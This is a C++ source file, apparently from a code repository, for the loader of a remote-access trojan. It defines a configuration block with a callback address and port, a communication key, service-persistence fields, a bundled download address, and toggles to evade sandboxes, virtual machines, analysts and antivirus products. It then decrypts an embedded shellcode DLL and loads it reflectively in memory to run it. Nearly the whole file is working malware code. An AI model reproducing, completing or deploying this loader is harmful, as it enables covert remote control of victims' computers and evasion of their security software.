2024-06-23 17:36:53 +08:00

111 lines
2.8 KiB
C++

#include "stdafx.h"
#include "ShellCode.h"
#include "MemLoadDll.h"
struct DLL_INFO
{
char LoginAddr[30]; // 上线地址 1
UINT LoginPort; // 上线端口 2
WORD FileAttribute; // 文件属性 3
char UpGroup[30]; // 上线分组 4
char ConnetPass[20]; // 通讯秘钥 5
TCHAR ReleaseName[25]; // 安装名称 6
char ServiceName[70]; // 服务名称 7
char ServiceDisplayName[70]; // 服务显示 8
char ServiceDescription[120];// 服务描述 9
char ReleasePath[100]; // 安装路径 10
CHAR szDownRun[150]; // 捆绑地址 11
char Dele_zc; // 启动类型 12
BOOL Fwb; // 微步 13
BOOL Fhb; // 哈勃 14
BOOL Fxn; // 虚拟 15
BOOL Ffx; // 分析 16
BOOL Fsc; // 防删 17
BOOL Fzs; // 自删 18
BOOL Fcf; // 重复 19
BOOL Ffh; // 复活 20
BOOL Fct; // 穿透 21
BOOL Fzj; // 终结 22
BOOL Fkb; // 捆绑 23
BOOL Fsm; // 睡眠 24
BOOL Flx; // 离线 25
BOOL Fwr; // 微软 26
}dll_info =
{
"SVP7", // 上线地址 1
0, // 上线端口 2
0, // 文件属性 3
"", // 上线分组 4
"", // 通讯密码 5
"", // 安装名称 6
"", // 服务名称 7
"", // 服务显示 8
"", // 服务描述 9
"", // 安装途径 10
"", // 网络捆绑 11
0, // 启动类型 12
0, // 0关闭 1开启 微步检测 13
0, // 0关闭 1开启 哈勃检测 14
0, // 0关闭 1开启 虚拟检测 15
0, // 0关闭 1开启 分析检测 16
0, // 0关闭 1开启 防删检测 17
0, // 0关闭 1开启 自删检测 18
0, // 0关闭 1开启 重复检测 19
0, // 0关闭 1开启 复活检测 20
0, // 0关闭 1开启 穿透检测 21
0, // 0关闭 1开启 终结检测 22
0, // 0关闭 1开启 捆绑检测 23
0, // 0关闭 1开启 睡眠检测 24
0, // 0关闭 1开启 离线检测 25
0, // 0关闭 1开启 微软杀毒 26
};
void EncryptData(char *szRec,long nLen,long key) //解密插件
{
unsigned long i;
unsigned char p;
p = (unsigned char ) key % 1451 + 61;
for(i = 0; i < nLen; i++)
{
*szRec ^= p;
*szRec += p;
szRec++;
}
}
typedef int (WINAPI *SB360RUN)(DLL_INFO);
void LoadLib( const char *name)
{
HMEMORYMODULE hDll;
SB360RUN pfn;
EncryptData((char *)g_ShellCodeFileBuff, g_ShellCodeFileSize,1024);
hDll=MemoryLoadLibrary(g_ShellCodeFileBuff);
if (hDll==NULL)
return ;
pfn=(SB360RUN)MemoryGetProcAddress(hDll,name);
if (pfn==NULL)
{
MemoryFreeLibrary(hDll);
return;
}
pfn(dll_info);
if (hDll!=NULL)
{
MemoryFreeLibrary(hDll);
hDll=NULL;
}
ExitProcess(0);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char SVP7[]={'S','V','P','7','\0'};
LoadLib(SVP7);
return 0;
}